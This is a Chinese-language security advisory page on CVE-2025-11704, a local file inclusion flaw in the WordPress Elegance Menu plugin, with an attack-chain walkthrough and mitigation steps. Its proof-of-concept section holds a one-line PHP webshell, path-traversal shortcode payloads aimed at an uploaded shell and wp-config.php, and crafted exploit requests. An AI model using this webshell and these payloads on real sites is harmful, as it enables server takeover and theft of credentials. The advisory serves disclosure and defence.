IPBUF安全漏洞报告
English
CVE-2025-11704 CVSS 7.5 高危

CVE-2025-11704 WordPress Elegance Menu插件本地文件包含漏洞

披露日期: 2025-11-04

漏洞信息

漏洞编号
CVE-2025-11704
漏洞类型
本地文件包含(Local File Inclusion)
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Elegance Menu plugin for WordPress

相关标签

本地文件包含LFI远程代码执行RCEWordPress插件Elegance Menu短代码注入路径遍历权限绕过CVE-2025-11704

漏洞概述

CVE-2025-11704是WordPress Elegance Menu插件中的一个高危本地文件包含漏洞。该漏洞存在于插件的所有版本直至1.9版本,主要源于elegance-menu短代码的'elegance-menu'属性处理不当。攻击者可利用此漏洞包含服务器上的任意.php文件,从而执行任意PHP代码。这意味着具有Contributor级别及以上权限的已认证用户可以绕过正常的访问控制机制,读取敏感文件、获取数据库凭据,甚至完全控制服务器。由于该漏洞可通过HTTP请求远程利用,无需用户交互即可触发,因此构成了严重的安全威胁。攻击成功后,攻击者可以执行任意PHP代码,包括上传webshell、窃取数据或进一步渗透内网系统。此漏洞特别危险,因为在WordPress多用户环境中,Contributor级别的用户通常被认为是低权限用户,但利用此漏洞可以提升权限至服务器级别。

技术细节

该漏洞存在于Elegance Menu插件的public/class-elegance-menu-public.php文件中,约第222行附近。当插件处理elegance-menu短代码时,会直接使用用户提供的'elegance-menu'属性值作为文件路径进行include/require操作,而未进行充分的路径验证和安全检查。攻击者可以通过构造恶意请求,指定服务器上的任意.php文件路径(如../../../../etc/passwd或指向攻击者上传的恶意文件的路径)。由于PHP的include函数会执行目标文件中的PHP代码,攻击者可以预先上传包含恶意代码的.php文件,然后通过LFI漏洞包含该文件触发执行。CVSS向量显示攻击复杂度为高(AC:H),这是因为需要绕过某些路径遍历限制,但整体评分仍达到7.5分。攻击者首先需要获得WordPress Contributor级别账户,然后通过短代码功能注入恶意请求。成功利用后可实现远程代码执行(RCE),这在服务器安全中属于最高级别威胁。

攻击链分析

STEP 1
步骤1: 获取访问权限
攻击者需要获得WordPress网站的Contributor级别或更高权限账户。Contributor角色通常可以创建和编辑草稿文章,但权限较低。
STEP 2
步骤2: 上传恶意PHP文件
利用WordPress的媒体上传功能或文件上传功能,上传包含恶意PHP代码的文件(如webshell)。该文件需要被存储在可预测的路径下。
STEP 3
步骤3: 构造LFI payload
通过WordPress的shortcode功能,构造包含路径遍历序列的elegance-menu短代码,指定目标为上传的恶意PHP文件路径或服务器上的敏感文件。
STEP 4
步骤4: 触发漏洞
访问包含恶意短代码的页面或通过AJAX请求发送短代码,触发插件的include操作,包含攻击者指定的文件。
STEP 5
步骤5: 执行任意代码
如果包含的是恶意PHP文件,代码将被执行,攻击者获得远程代码执行能力。如果包含的是配置文件,可获取数据库凭据等敏感信息。
STEP 6
步骤6: 持久化控制
攻击者可以上传完整的webshell、安装后门或修改现有文件以维持持久化访问,进而控制整个Web服务器和应用程序。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<?php // CVE-2025-11704 PoC - WordPress Elegance Menu LFI to RCE // Author: Security Researcher // Target: Elegance Menu Plugin <= 1.9 for WordPress /** * This PoC demonstrates Local File Inclusion vulnerability in Elegance Menu plugin. * Attack requires Contributor-level access or higher in WordPress. * * Step 1: Upload malicious PHP file via WordPress media upload * Step 2: Include the uploaded file via LFI vulnerability * Step 3: Execute arbitrary code */ // Malicious PHP file content to upload (shell.php) $malicious_code = '<?php if(isset($_GET["cmd"])) { system($_GET["cmd"]); exit; } ?>\n'; // LFI payload for shortcode $lfi_payload = '[elegance-menu elegance-menu="../../uploads/2025/11/shell.php"]'; // Alternative: Target common WordPress files $lfi_payload_alt = '[elegance-menu elegance-menu="../../wp-config.php"]'; // Path traversal variants $path_traversal_variants = [ "../../uploads/shell.php", "....//....//....//....//uploads/shell.php", "..\..\..\..\uploads\shell.php", "/var/www/html/wp-content/uploads/shell.php" ]; echo "[*] CVE-2025-11704 - Elegance Menu LFI to RCE PoC\n"; echo "[*] Target: WordPress with Elegance Menu Plugin <= 1.9\n"; echo "[*] Required: Contributor-level access\n\n"; // Generate HTTP request for exploitation echo "[+] Step 1: Upload malicious PHP file via WordPress media\n"; echo "[+] Step 2: Use shortcode to include the file:\n"; echo "POST /wp-admin/admin-ajax.php HTTP/1.1\n"; echo "Host: target.com\n"; echo "Content-Type: application/x-www-form-urlencoded\n"; echo "\n"; echo "action=elegance_menu&shortcode=" . urlencode($lfi_payload) . "\n"; echo "\n[+] Step 3: Execute commands via uploaded shell:\n"; echo "GET /wp-content/uploads/shell.php?cmd=id HTTP/1.1\n"; echo "Host: target.com\n"; ?>

影响范围

Elegance Menu plugin for WordPress <= 1.9 (all versions up to and including 1.9)

防御指南

临时缓解措施
在官方补丁发布前,建议采取以下临时缓解措施:首先,立即禁用或删除Elegance Menu插件,直至确认已修复;其次,通过WAF或ModSecurity规则阻止包含'elegance-menu'属性的shortcode请求;第三,限制WordPress上传目录的PHP执行权限,在wp-content/uploads目录添加.htaccess规则禁止PHP执行;第四,加强用户权限管理,审查所有Contributor级别及以上账户,移除不必要的账户;最后,启用WordPress的恶意文件扫描插件,检测已上传的可疑PHP文件。同时建议监控访问日志,关注异常的shortcode使用和文件包含请求模式。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表